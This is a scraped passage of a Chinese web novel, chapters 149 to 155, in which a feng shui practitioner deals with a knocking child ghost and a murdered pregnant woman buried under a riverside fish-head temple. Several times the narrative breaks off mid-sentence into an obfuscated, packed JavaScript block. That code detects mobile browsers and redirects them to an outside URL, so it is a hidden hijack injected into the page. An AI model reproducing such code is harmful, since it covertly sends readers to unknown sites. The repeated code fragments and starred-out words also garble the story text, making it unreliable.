打开门后,苟驹瞟了一眼院外,接着,他忽然挥手,说了句:“去去去,别来闹挺。” 砰的一声,院门关上了。 苟驹回到堂屋里。 “谁啊?”徐湘灵问了句。 “哪个晓得谁,反正是个屁大点三岁娃娃,说找他爸呢,应该是你们村里的人,走到这儿散步,娃娃走失了,等会儿就有人找着他了。”苟驹稀松平常的说。 徐湘灵小声说了句:“这不太好吧?” 我心头不自然起来,说:“要不先让他进来,让徐湘灵打电话给村里的人过来接?顺道报个警也行?” “闹。”苟驹摆摆手,说:“你有那么多时间?报警那耽误的才叫一个不得了,各人自扫门前雪,莫管他人瓦上霜,咱们的事儿,够烦心了。” 苟驹话音刚落,笃笃笃的声响敲门声又响了起来。 第149章 ”请鬼” 我不知道怎么说。 总之,苟驹说的对也不对。 多事不对,置之不理,好像也不太对?毕竟徐湘灵的住处太偏僻,她说了村长,此地必然有村子,可一眼下去都看不到村落在哪儿,还有旁边一条河,万一那小孩子掉河里呢? 我说报警了太折腾,让村里人过来接,应该没问题吧? 想归想,徐湘灵已经走到院门前了,她打开门,低头去看,很快,她又将门关上了。 “没人啊。”徐湘灵回过头来。 “跑了呗,指不定大人就在旁边儿转悠呢,现在的小娃娃,事儿精,过来敲门敲着玩儿呢。”苟驹话音未顿,说:“赶紧煮了饭,吃了早早上床睡,明天事儿少不了。” “这地方,破信号也没有。” 苟驹又看了眼手机,显得不耐烦。 徐湘灵不多言了,她再度走向厨房。 “笃笃笃笃。” 敲门声第三次响起。 “哎哟,我这暴脾气,日你个小短命娃娃先人板板。”苟驹骂骂咧咧的要朝着门口走。 徐湘灵顿足,我一样皱着眉,往前走了几步。 苟驹先走到门前,一把拽开门,更是骂骂咧咧,手臂还一指:“小批娃儿,再来敲门,老子把你甩河里了!” 徐湘灵的脸色顿变。 我脸色一样变了。 因为这个角度我就能瞧见,院门外边儿空空荡荡,哪有什么小孩儿? 夜色深深,河风清冷。 苟驹还瞪着院外地面,没好气又补了句:“最烦你这种小畜生了。赶紧滚啊!” 啪的一声,院门重重闭合。 苟驹回过头来,搓拍了一下手,说:“看啥看,你这妮子,煮饭去。” “小陈,你也歇着吧。” “真奇了怪了,还是没信号?” 苟驹摸出来手机,又瞅了一眼,面沉似水。 徐湘灵看向了我。 我微嘘一口气,说:“煮饭吧徐姑娘。” 和苟驹对话,我能直接说徐湘灵是徐湘灵,这会儿就不太合适。 “好的。”徐湘灵轻点头,她面色没有多大变化,径直进了厨房。 苟驹回到了堂屋处。 我则朝着院门走去。 “小陈你干啥呢?那屁娃娃已经走了。”苟驹喊了一声。 “没事,我看看。”我先回答。 没有贸然直接说苟驹见鬼了。 关键的是,就算是闹鬼,我和徐湘灵怎么就看不见? 是,关于见鬼,有些个老说法,不是什么人都能看见脏东西。 “什么人”局限于普通人,徐湘灵成天捞尸,我自打在村里,就被鬼鬼祟祟,精精怪怪的盯着,尤其是最近,没少见鬼。 苟驹能看得见,我们却看不见,就分外古怪。 最重要的是,敲门声都听到了。 走到院门口,我拉开门,好冷啊,空气好像都带着水似的。 在门前站了几秒钟,我稍一思索,取出来两样东西。 一个是砚台,一个是笔。 我蹲在地上磨墨。 关于陈瞰山相关于法器类的东西,我都带身上了,很快研磨好了墨汁,用那毛笔浸润吸满,起身,点在门上。 我写到:“天有三奇,地有六仪,玉女守门,凶煞远避。进喜进财,大吉大利。金玉满堂,长命富贵。急急如律令。” 罢了,我在下方画了一道符。 符不仅仅是道士,或者神婆啊这些能用,先生的符其实更多,甚至罗盘都叫做符。 罢了,我直接关上门,拿起砚台回了堂屋。 “小陈,你刚才干啥呢?画符?”苟驹问我。 “没事苟叔,这地方阴,我留一道符,免得见鬼。”我说。 “见鬼?” 苟驹的脸色,忽然就变了变。 他指了指自己的脸。 我脸色略不自然,不过还是点点头。 这事儿没必要瞒着苟驹。 “操……”苟驹骂了个脏字。 “没事的苟叔,那是安门咒,加上这地方是徐姑娘住的,正好迎合咒术,风水之中,符是镇物,不会再见鬼了。”我解释。 “行吧……”苟驹还是有些心烦意乱的神态。 徐湘灵端着一个托盘出来了,进堂屋,放下托盘,是三碗煎蛋面,金黄的煎鸡蛋飘在汤上,葱花点缀,面条和汤汁都洁白,还有一点点油花。 味道香浓又带着一丝清爽。 苟驹怔怔的看着面碗,他眼睛眨巴了两下,稍稍仰头上看。 “风真大,眼睛又进沙子了。” 苟驹再揉了揉眼,他嘟囔着坐下。 徐湘灵给我们一人分了一碗面,我却若有所思,刚才根本就没有风,苟驹应该是睹物思人了? 肚子确实饿了,我拿起筷子,就开始吃面。 徐湘灵手艺真不错,面很香。 “慢点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489795|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃,别呛着了。”她小声说。 我点点头,笑了笑,动作却没慢下来多少。 苟驹一口一口嗦面,没两下,面碗见底,他一口还把汤喝光了。 罢了,苟驹就坐在那里等。 当徐湘灵吃完的时候,苟驹就问:“妮子,我们住哪儿?” 她立马给我们安排了房间,恰巧有两处客房。 各自进屋后,我正准备躺下睡觉。 笃笃笃笃,敲门声却响了起来。 我脸色变了变。 紧接着,敲门声又响了。 前一个声音是院门被敲响,这一次,是我房间。 我缓步去开门,门口是徐湘灵,脸色分外不自然,另一侧的房门开着,苟驹杵在门口,阴晴不定。 院门还是在笃笃笃的想。 徐湘灵的额间泌着一丝丝薄汗。 说实话,我身上也在冒冷汗。 我下了符咒啊,还是专门针对阳宅风水的安门咒,用的是陈瞰山的法器,直接将符画在了门上。 结果,那鬼东西居然还一直来敲门。 这是缠上我们? 不,是缠上苟驹了? 可为什么,苟驹能看见他,我们看不见? “**。”苟驹又骂了起来,要去开门。 可冷不丁的,我又想起来一个情况,喊了声苟叔停下。 他顿足下来,脸色还是难看。 我眼皮一直跳着,却想到当初我爸杀牛,那晚上就来了“人”,那女人可诡异,实际上是头牛。 苟驹肯定在不知情的情况下,招惹上什么东西了,这东西就非要上门来,如果不解决的话,它肯定不会走,今晚上必须和我们杠上。 另外,安门咒挡着他都能敲门,实际上,他肯定是能直接进来的,敲门,都只是出于礼貌? “苟叔,你打开门之后问他,究竟要做什么?”我沉声说。 “?”苟驹诧异看着我。 很显然,他以为我有什么解决办法,我的话不达他的预期。 “得这样问,得让他走才行。”我说。 思绪没有那么紊乱了,当时胡喋装作的老鳏夫,就是这么解决的问题。 总之事情,听。 门,让“人”进。 鬼或者精精怪怪讲规矩,讲礼数,就和他们讲礼数,他们要什么就做什么。 只要在保全自身的角度上,去满足对方的要求,天亮后就会平安无事。 第150章 民间传闻 不过……这里边儿还有很多细节上的问题。 譬如当初的“胡喋”,他直接知道“女人”为什么会来,所以一系列的问题,都是绕着这个点去布局。 譬如水缸里是血,槐树上有牛,井中会出现倒影。 这个敲门鬼我不知道到底是什么来路,也不知道苟驹为什么缠上他,就得让苟驹弄清楚。 这样才能想办法,让苟驹把他送走! “他找他爸啊……小陈,你是不是晕乎了?”苟驹低声说。 他并没有要去开门的举动。 我眼皮跳得更厉害,额角都布满了细密汗珠。 徐湘灵同样透着不安。 我还真给忽略了……是,这小孩儿说了目的,是找他爸! 他是鬼,他爸苟驹认识? “苟叔,你认识的人里,谁家**小孩?” 我压低了声音,再度追问。 院子的敲门声没有停下,只是变小了很多,还在笃笃笃的瞧着。 “操……我哪儿知道啊……” “把你尺子给我使一下,老子劈头先给它两下,就不信它还来鬼敲门!”苟驹显然有些绷不住了。 我不只是额头上淌汗。 背上的汗却淌下来更多。 苟驹一无所知,我就更一无所知,好像这样请它进来,也行不通? 只是,安门咒挡不住这些鬼鬼怪怪,要是不请它,它自己进来了,可就没我们好果子吃了。 “小陈!?”苟驹声音大了些。 “嗐,我来!”苟驹一把从我腰间撸过。 本来寻龙分金尺就挂在我腰身上,这一下子便被苟驹拿走。 他大步如风,朝着院门走去。 徐湘灵脸色愈发惊怕不安。 我追了两步上去,苟驹已经拽开门。 这一瞬,我脸色惊变。 门外,当真站着个小孩儿! 我看见它了!? “日你仙人板板。”苟驹骂着,寻龙分金尺狠狠就敲了下去! 我已经来不及阻止了。 只见那三岁小孩儿头顶冒出一股股黑血,它直挺挺的倒在地上,一动不动。 “嗯?怎么没打散,也没打跑?什么鬼?”苟驹回过头来,眼中带着一丝不自然。 我已经快步走到苟驹身旁,盯着院门外那小孩儿。 徐湘灵一样走过来了,她脸色更加不安。 “你们都看到了?”苟驹诧异极了。 “操,这敲门的不是个人吧?”一下子,苟驹就慌了起来。 “人怎么会淌黑血?不是人。”我当即否了苟驹的想法,他脸色才稍稍镇定两分。 “也不是单纯的鬼……是个尸鬼……”我仔细的看着那小孩儿。 可旋即,我脸色就微微一变。 因为这小孩儿的模样……怎么有些神似苟驹? 我再度看向苟驹,眼神中带着一丝比较。 徐湘灵这会儿一样看出来不对劲了,盯着地上的小孩儿,同样看向苟驹。 “你们突然看**啥?我脸上写了几个字,知道他爸在哪儿?”苟驹格外不自然。 “你没觉得,它很眼熟吗?”徐湘灵抿着唇,话音不太正常,有些微颤。 “男人,果然都没有好东西啊,你对得起我姐,对得起你们没出生就被借体还魂的女儿吗?” “对,为什么你会招惹上那个女尸?” “撇开说人家多给了五万块钱,你要捞尸,你破规矩,这就不说了,你管不住你裤裆!你半夜和女尸搞一起了!你可以说她鬼迷你心窍,可你没有那个念头,她就算是赤条条,光溜溜的摆在你面前,你两能睡一块儿吗?!” 徐湘灵显然是破防了,她颤声极重,哭腔极重,给我感觉,她都快要扑上去撕扯苟驹的脸了! “你!”苟驹明显也要动怒了。 徐湘灵却惨然说:“是啊,姐姐**,你是找人打捞她了,你是找先生了,你有良心,就算你对得起她吧,你也没亏待自己啊,我听不少人说了,你这里一个姘头,哪里一个姘头,天天挣了钱,没少带你手底下的人出去找乐子。” “民间有个传闻,如果说,小孩子夭折**,就会一直找自己的父亲,我看,这个村里就有个你的姘头吧?” “只是孩子没有养大,或者没生出来而已!” “它,找他爸!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489796|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “它,找你!” 徐湘灵哭了,眼泪婆娑往下掉。 然后,她重重推了苟驹一把,转身跑进了一个屋子,砰的一声关上门。 “你……我……这……” “我他妈……” 苟驹一时间无语凝噎,愣是没说出话来。 我心同样咚咚直跳,不自然的看着苟驹。 “小陈,你也认为是这样?瞎瘠薄扯呢!当年怎么撞鬼的老子就不说了,老子是带手底下的人去找乐子了,但老子没有啊,老子掐表呢。” “他们跟着卖命,总要有点儿甜头吧?你总不能光让马儿跑,不让马儿吃草?” “哎哟,我和她较劲干什么,小陈你先看这玩意儿吧,你别听那妮子胡扯八扯,这绝对不是我娃娃。” 苟驹指着地上那小孩儿的尸身。 徐湘灵说的有道理。 可苟驹不可能在这种事情上骗人。 都这节骨眼儿了,他说的必然也是实话。 那为什么,这小孩儿很像是苟驹? 难不成,就是巧合? 我深呼吸,随后将那小孩尸体拉进了院子。 “你干啥呢小陈?”苟驹是被吓了一跳。 “镇住它。就且看做苟叔你和它没有关系,可它找你,一定有问题,明天咱们要捞尸,今晚上必须好好休息。” “丢出去不行,就只能放眼睛边儿上了。” 我一边说着,一边摸出来几枚铜钱,开始在这小孩儿尸身上排列。 “这……”苟驹更不自然起来,显得欲言又止。 我在尸身的额顶,也就是囟门的位置,放了一枚铜钱。 囟门,是头骨中唯一一块出生没有闭合的骨头,在神相千壳上来说,囟门是藏魂之处。 学神相千壳之前我不理解,可现在我明白了,封住囟门,就等于封住了魂,尸鬼这东西,可怕就可怕在鬼的神出鬼没,尸体的凶横,难以抵挡。 封魂后,尸鬼就成了单纯的尸,能诈尸,但魂魄钻不出来。 紧接着,我低声又说:“苟叔,去找个木桶,或者木箱子来,如果是木桶的话,还得要一个盖子,快!” 第151章 不要去河边!不要去河边!不要去河边! “木桶……木箱……”苟驹握拳,啪得一下砸在掌心。 他转身,先匆匆跑进了堂屋,紧接着出来,又赶紧进了厨房,出来时手中抱着个木桶。 那桶有点儿脏,散发着一股子异味儿。 “这妮子脾气属驴的,犟得很,也不帮忙了,小陈你看这个桶行不行。”苟驹匆匆走到我身旁。 桶说脏也不算脏,是个豆瓣酱的大桶,不过里边儿早就没了酱料。 目测一下,三岁孩子刚好能塞进去。 “能用,封得住。” “对,还得找两样东西,锤子和铁钉。” 我语速飞快。 “锤子和铁钉啊……” 苟驹喃喃,他再度进堂屋去翻箱倒柜。 丁零当啷的声响愈来愈快,从这声响都能判断出来苟驹此刻的情绪,是急躁极了。 吱呀一声,开门声响起。 居然是进房间的徐湘灵又出来了,走到我身旁,手中拿着一个锤子,一把钉子。 我一怔,抬起头来。 徐湘灵眼眶还是红红,不过比刚才好多了。 显而易见,她先前在听我们说话。 “男人的嘴,骗人的鬼,我不知道他的话几分真几分假,现在重要的是将姐姐打捞上岸,我不和他一般计较。”徐湘灵话音很坚强。 苟驹从堂屋里跑出来了。 他嘴里嘀咕了几句,没多言。 我松了口气,将那小孩儿尸身放进了桶里。 他脸上颧骨两侧,各有一枚铜钱,都是我用来**的。 封上了盖子,我深呼吸,接过徐湘灵的钉子和锤子,沉声喝道:“手持金斧要封钉,东西南北四方明,朱雀玄武来拱照,青龙白虎两边排,一钉添丁及进财!” 铿锵一声,我一锤子砸了下去。 结果这一下,我居然砸歪了,重重砸在自己的小拇指上! 痛,让我闷哼一声。 小拇指直接见血。 ”小陈……你注意这点儿,手别抖。”苟驹咋舌。 我手肯定没抖…… 我怎么可能手抖? 就是明明敲钉子,结果落锤头的那一瞬,就怪异的砸歪了。 提了一口气,我再度挥动锤子,一钉锤砸了下去! 这一次我完完全全,肯定是全神贯注。 偏偏还是砸在了小拇指上。 太用力了,指甲感觉都要和肉分开,我手都在哆嗦,额头都在冒汗。 “小陈,你这不行……可能有点儿虚,要不让我来?” 苟驹说着,往手里吐了口唾沫,搓了两下。 苟驹没明白事情的严重性。 我现在是明白,并反应过来了。 有问题! 一把掀开了木桶盖子。 我脑瓜子都嗡了一下。 本以为是镇尸的铜钱出问题,却不曾想,铜钱掉在地上,地面都是湿漉漉的,像是进了水。 对,桶底直接不见了…… 那小孩儿尸体更消失不见! 苟驹戛然无声,徐湘灵更一阵惊疑。 “去哪儿了?”徐湘灵很慌。 我另一手摸出来了仕金盘,盯着中间指针。 并未出现转针…… “走了。”额间泌出薄汗,手指依旧很痛,让我左手都发抖。 “这**,凶成了这样?说走就走了,它究竟是个什么东西?”苟驹往地上淬了口唾沫。 “总归它走了……它可能没有多大恶意?否则的话,安门咒挡不住它,铜钱压不住它,封棺口诀封不住它,它想害我们,就很容易。”我勉强保持镇定,说。 苟驹还想说些什么,还是闭上嘴,没吭声。 徐湘灵一样,什么都说不出来,只有无言。 “创可贴有吗?”我又问徐湘灵,算是将话题拉开了。 “嗯嗯,有。”徐湘灵回了房间,还真给我找出来张创可贴。 我缠住了略有歪扭的指甲盖,将其稳稳压在小拇指上。 这种伤口不处理好最麻烦,稍微勾一下指甲,疼痛就能钻心。 血淌了一些,还好,伤势不算太严重。 “睡吧苟叔,应该没事了。”我又同苟驹说。 “行吧……”苟驹转身,朝着徐湘灵给他安排的房间走去。 我一样回了屋。 这一次躺在床上,倒没有任何异样发生了。 其实我人挺疲倦,就是小拇指的伤势太痛,太难忍。 右手捂着左手,我强迫自己入睡。 困意总算一点点涌来。 睡着了,耳朵边却听到稚气的喊声。 “哥哥……哥哥……哥哥……” 我迷迷糊糊睁开眼,床边却站着个肤色惨白的小孩儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它究竟是什么来头? 第152章 你男人要** 只是,苟驹都说不清楚,我就更想不明白了。 也有某种可能,它的确认识苟驹,又恰巧长得很像,恰巧死在了这附近,从而来通知苟驹,通知我们,江域危险? 这种恰巧,未免太多了一些。 从房间出去,我瞧见徐湘灵正在打扫院子里的卫生。 一眼,我没看到苟驹的人。 “苟叔呢?”我诧异问。 “早上联系上了捞尸队的人,可捞尸队的来不了,被人给扣住了,让苟……” 徐湘灵顿了顿,继续说:“让他过去。” “被谁扣住了?”我不解。 “胡家。”徐湘灵答道。 我:“……” “不是说清楚了吗?”我声音有点儿大,有点儿错愕。 徐湘灵摇头,表示不知道。 深呼吸,我稍稍闭眼。 徐湘灵的确不知道。 胡家,应该是反悔了。 我想到先前苟驹接了一个电话,他在骂对方,催什么呢催? 当时我就觉得,不是那样,只不过苟驹的情绪激动,直接给人挂了。 应该是我说的一些事情应验了,或者胡家又发生了什么事儿,他们联系不上苟驹,或者苟驹拒绝联系,因此,他们就堵上了捞尸队的人。 “麻烦了。”我不自然的说。 “能多麻烦,把钱双倍还了不就好了吗?”徐湘灵不解回答。 很明显,徐湘灵也没看出来个中细节。 我摸出来手机,给苟驹打了个电话。 苟驹接通,说他马上就来。 结果电话里还有声音,是胡夫人的,她是在说,马上也不能来,胡家是真心真意给道歉,请好好看一看事儿。 话音未顿,那边似乎有争抢声。 还夹杂着胡夫人稍微大一些的声音,她居然是在和我说话,喊我过去一趟,胡家保管让我满意。 我又听到啪的一声,应该是手机摔了。 我手机音量还行,徐湘灵大抵是听到了一些细节,她诧异不已的看着我,有些出神。 “胡家改观了,看来你说准了很多东西,或者又发生了什么事情?”徐湘灵喃喃。 “不过,就算给他一百万都没用,他一定是会回来的。” 徐湘灵这番话却很笃定。 我在思索沉凝,又将袖子撸起来,看着手臂上那个指甲印子。 阳光的照射下,伤口从黑发青,慢慢的渗出来一些污血。 徐湘灵稍稍不自然的看着我胳膊。 “不要去河边。” 我喃喃一句。 “什么?陈先生?”徐湘灵眼中略疑惑。 “我不这么看,太急了,太着急了。”我深呼吸,再度开口。 “啊?”徐湘灵更不解了。 “那只小鬼半夜找我,让我不要去河边,苟叔,我相信他,他说他没有做过的事情,一定没做过,可那个小鬼一定和他有些关系,这事情我们需要好生想一想,好生考虑考虑,破天心水的风水局,一定还有问题。”我话音极其慎重。 徐湘灵听明白了,她眼中透着一丝惊悚,只不过,又有些泛红。 “我会一些面相的,苟叔的确没有撒谎,撒谎的人也有相格。我不好和你解释,总归,这件事情我们从长计议准没错,我打算捞尸之前,还要去河边看看,总要万无一失,你觉得呢?”我和徐湘灵解释。 “以前倒有先生说过,这件事情他不敢接手,是因为,一旦出问题,就没有后悔的机会,人得折进去。” “的确,江域危险,我们有更多的把握,会更好,陈先生,我不信姐夫,可我信你。” 徐湘灵的态度总算坚定认真下来。 “走吧,去鱼头庙。”我再和徐湘灵说。 “不是龙王庙吗?”徐湘灵喃喃。 “哪有龙王修成鱼头的样子?”我笑了笑说。 随后,我迈步先朝着院外走去。 很快,徐湘灵就跟了出来,她锁上院门后,和我一起上了一条船。 苟驹撑走了她一条船,这里还有一条。 不多时便上了江中,徐湘灵朝着胡家鱼头庙的方向撑去。 我们是在天沧江中心行船。 破天心水在上游位置,刚好我们要经过。 等到了那段江域的时候,距离太远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胡夫人的鼻子尖端,有一颗痘,已经发白,随时可以点破。 胡夫人的颧骨,隐隐约约能瞧见一点点纹路。 前者,在相格上为准头白色,主大破败,防孝服。 后者,颧上有纹,主大破耗。 我先前就通过方位,断定了这鱼头庙处于二黑飞星,巨门之位,此刻胡家失运,要临门生祸、死亡绝症,破产投死,寡妇当家。 临门生祸是胡家大少之死。 也就是这件事情找上了苟驹。 苟驹因为自家妻女尸身在破天心水的江域,这辈子就是财败人伤横事频。 因此,苟驹任何时候都会出事,取决于他命硬能否挡过灾劫横祸。 胡家的横祸太凶,二黑飞星与五黄飞星并列最凶,胡家顶不住,他一定一起出事。 现如今,胡夫人的男人,胡家真正当家做主的人就要**。 怕是要树倒猢狲散,胡家家业分崩离析,最后留个寡妇当家,完全应了冷庙之鬼的风水局。 我说这话的时候,神态是冷淡的,看着胡夫人。 胡夫人的脸色是煞白的,她呆愣的看着我,像是被吓傻了一样。 本来场间就不少胡家人,他们没有一直围着苟驹,大部分朝着我们这边走来,簇拥在胡夫人身后,一些目光落在我身上,他们的眼神都不正常,有人流露出难色,有人流露出敬畏,还有人流露出一丝丝挣扎和煎熬。 敬畏,是认为我说的对。 其余情绪,就是家主将死,胡家风雨飘摇,让他们难以承受了。 “我男人……打了针,很贵的特效药,能抗癌,都说病得真了要死,他运气好,胡家有钱,恰好又有药了。” “陈先生,我先前不信您的话,就是因为这个,我男人正在逐渐好转,再加上卢家的事情出了,我总以为您学艺不精就招摇过市,是我有眼无珠。” 胡夫人面色更惨然,甚至要潸然泪下。 “可谁知道,就那天,你们走了不就之后,医院就传来噩耗,说我男人病情恶化了,现在已经让人接回家,能活一天是一天了。” 胡夫人哭了,哭的伤心欲绝。 “我一个妇道人家,不懂风水,不懂算命,陈先生年少有为,还请不要和我计较,苟捞尸人这里,定钱之后,本来还有四十万,取了个六,图顺,我再加三十万,取九,图个长久吉利,您这里,我也给相等的报酬,只求您稳住胡家的家业,让我男人别死,让我儿子上岸,入土为安。” 哽咽之余,胡夫人祈求不已。 说实话,那天胡夫人态度有多强硬? 那怀疑我,与我辩论的态度。 说实话,如果不是因为胡家的事情能够让苟驹暂时停下来,我其实不太愿意来帮胡家。 人的羞辱都甩在我脸上了。 可现在的胡夫人,她的诚意……太重…… 九十万啊。 诚如卢家的事情,我废了那么多心思,还因此软得罪了葛家,差点儿丢了寻龙分金尺,差点儿被车撞死,才得了个五十万,她直接就九十万。 我默默的想,如果以后遇到的每件事情,对方都想羞辱我一下,那也未尝不可? 谁会和钱过不去? “拦着我搞锤子,滚远些,爬开点,老子拔刀了!” 苟驹在骂,要将人搡开,他作势真要拔出腰间的卜刀。 诚如苟驹,他那么贪财,此刻却不贪财了,听着九十万的报酬,就好像地上掉了九块钱一样,根本置之不理。 “苟叔,你先冷静一些,胡家只是为了家族安危,胡夫人先前和我们有些误会,现在这误会说清楚了,你总归是答应了胡家的事情,既然钱还没退,胡家不肯收,事儿就是事儿,要办的。” 我看向苟驹,沉声说道。 胡夫人脸色顿喜,她眉开眼笑起来,掏出来一条手帕,擦拭眼泪。 苟驹:“……” 他错愕,不解,茫然,还带着一丝丝,呆滞。 “胡夫人,你们先进鱼头庙,我稍后会过来,还有事情要问你,让我和苟叔单独说几句话。” 我和胡夫人说。 此刻我脸色没有先前那么死硬了,眼中带着缓和,语气更是平和。 这不是胡夫人,这是九十万,是钱。 “哎,好,陈先生您慢慢说,我等您。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一女三男,一尸两命 女尸凶。 尤其是一尸两命,含冤而死的更凶。 当初我妈怀着我埋进坟里,最终是把我生下来了,不算两命,可她依旧是孕期惨死。 她的葬处,和养凶尸的风水关系不算太大,主要是生气,为了将我养活。 这地方就完全不同了,二黑飞星本就是冷庙之鬼作祟,胡家还愣是修了一座鱼头庙在这里,应了凶局,凶上加凶。 我能看见她,庙里的人却看不见她,甚至于庙外的苟驹,徐湘灵,其余捞尸队的人,一样看不见她。 这更说明她的凶厉,恐怕和我见过的鬼都不一样,甚至不在一个台阶。 迈步,我往前走去。 不多时,我便走到了庙门前。 那孕妇还是在冲我招手,距离近了,能看出来,她面容姣好,很漂亮,眼角一枚痣,比泪痣要稍稍偏移一些,高一些。 深呼吸,我再往前两步,算是跨入了庙内! 孕妇猛地朝着我一扑! 她的笑,瞬间变成怨毒尖厉,似要掐我脖子! 我陡然抬起手来,手中持着仕金盘! 指针嗖嗖的转动着,那迅猛的速度,似是要从转盘中跳出来了。 又是一声尖叫,孕妇陡然停下,蹬蹬蹬往后退了数步,一下子就撞击在门上,她消失不见了。 我重重吐了口浊气,盯着庙门看着。 一时间,鱼头庙内的胡家人,一个个都显得心惊胆颤。 胡夫人更是大气儿都不敢喘一下。 “胡少爷杀了人,是一个孕妇。” 我扭过头,深深看着胡夫人。 “没……没有……胡霖没**……”胡夫人矢口解释。 “胡夫人,到这个时候,你有必要骗人吗?这没有好处,和盘托出,我才帮得了你们胡家,帮得了水中的人,也帮得了这个含冤不散的女人。” 我说着,目光又四扫一遍鱼头庙,尤其是盯着那龙王爷的雕像。 冷意,从四面八方朝着我身上钻。 宅凶鬼凶,仕金盘护身,挡住了她,不过,她没有想放过我。 我这话说给胡夫人听,要解决事情,同样也是说给这女人听,意思是让她冷静一些,不要太凶。 只不过,此刻的冷意没有丝毫减少降低。 胡夫人白着一张脸,她更显得愁容满面。 其余胡家人,则相视无言,当然,还是有人欲言又止。 “陈先生神机妙算,可这事儿,不是你算出来的那样,是,是有个人**,可那女人不是胡霖杀的,这事儿,说来话长……”胡夫人总算打开了话匣子。 原来胡霖(胡家大少),在夜场中认识了一个大学女生,叫做余玉歌,那女人二十出头,手段却十分高明,三四个月,就让胡霖在她身上花了上百万。 之后这女人怀孕了,胡霖就回到家来说要结婚的事儿。 胡家这家业,不可能胡霖说要结婚,那就结婚,意思是让余玉歌将孩子打掉,给了她五十万。 余玉歌消失了一两个月,等到再出现的时候,孕肚已经很大了,她意思是,思来想去,这孩子打不了,她和胡霖是真爱,肯定是要嫁入胡家的门。 胡霖也认真啊,和家里头闹,怪爸妈把他禁足,现在孩子还在,他态度就特别坚决。 这一来,胡家没辙,只能遂了胡霖的意思,操办结婚的事宜。 余玉歌要上百万的彩礼,车房陪嫁,他都答应。 这对胡家来说,其实是小事一桩,可余玉歌的一些态度,让胡家觉得不舒服,便调查了一下她的过往,不查不要紧,一查吓一跳,她同时脚踏好几条船,拿着孩子的事情当威胁,还有两个尚算殷实的家庭,被讹诈不少。 这种女人胡家肯定是不能要,就将实情和胡霖挑明。 胡霖投入了太多感情,一时间接受不过来,一病不起。 余玉歌又来照顾他,算是无微不至。 可胡霖忍不住内心的煎熬,直接将事情和余玉歌挑明了。 余玉歌先是说胡家栽赃她,根本没有的事儿。 之后当胡霖从家里要出证据了,余玉歌又哭哭啼啼,说和其他两人,其实是个意外,那天晚上她喝醉了,和那两人都不熟。 她是真心想和胡霖在一起。 和胡霖确定关系后,更没有和任何男人相处过。 当时她怀孕,满心欢喜要嫁给胡霖,胡家要她堕胎,她心灰意冷的走。 随后她是气不过,自己平白被其余两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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语罢,胡夫人扭头,看着庙中的雕像,她战战兢兢,汗如雨下。 第155章 指裂,心塞,头晕 信息量太多了,我一时间,都无言以对。 我其实一直在想,胡大少爷胡霖,是个**害命的恶徒,胡家瞒而不报,知而不说,无非是替胡霖隐瞒,给人留最后一个名声。 可没想到,这鱼头庙龙王爷雕像下边儿埋着的**,居然是**! 说实话,余玉歌的这种做法行为。 应该不算太少? 虽然我大二,但也见过许多女孩儿花枝招展,出入各种场所。 当然,这并非是以偏概全,说所有人都有问题,只是说,这是一个现状,肯定有这样一群人,且不在少数。 反而,胡霖这个看起来应该是玩世不恭的富二代,是个痴情种。 当然,他一样有着清醒,只是遇到了一个纠缠不休的女人,这女人玩脱了,将命搭了进去。 “怎么办啊,陈先生?”胡夫人又扭头看我,眼中更惧怕,更抖个不停。 “我好像看见龙王爷的雕像,怎么变成了那个女人……她还挺着个大肚子……” “天啊……”胡夫人说着,她都快站不稳了。 其余胡家人一样神色慌乱,不自然的去看龙王爷雕像,更显得站立不安,忧心忡忡。 我目视着那雕像。 雕像就是雕像,无非是压着尸体,它又不是镇物,怨气重而已。 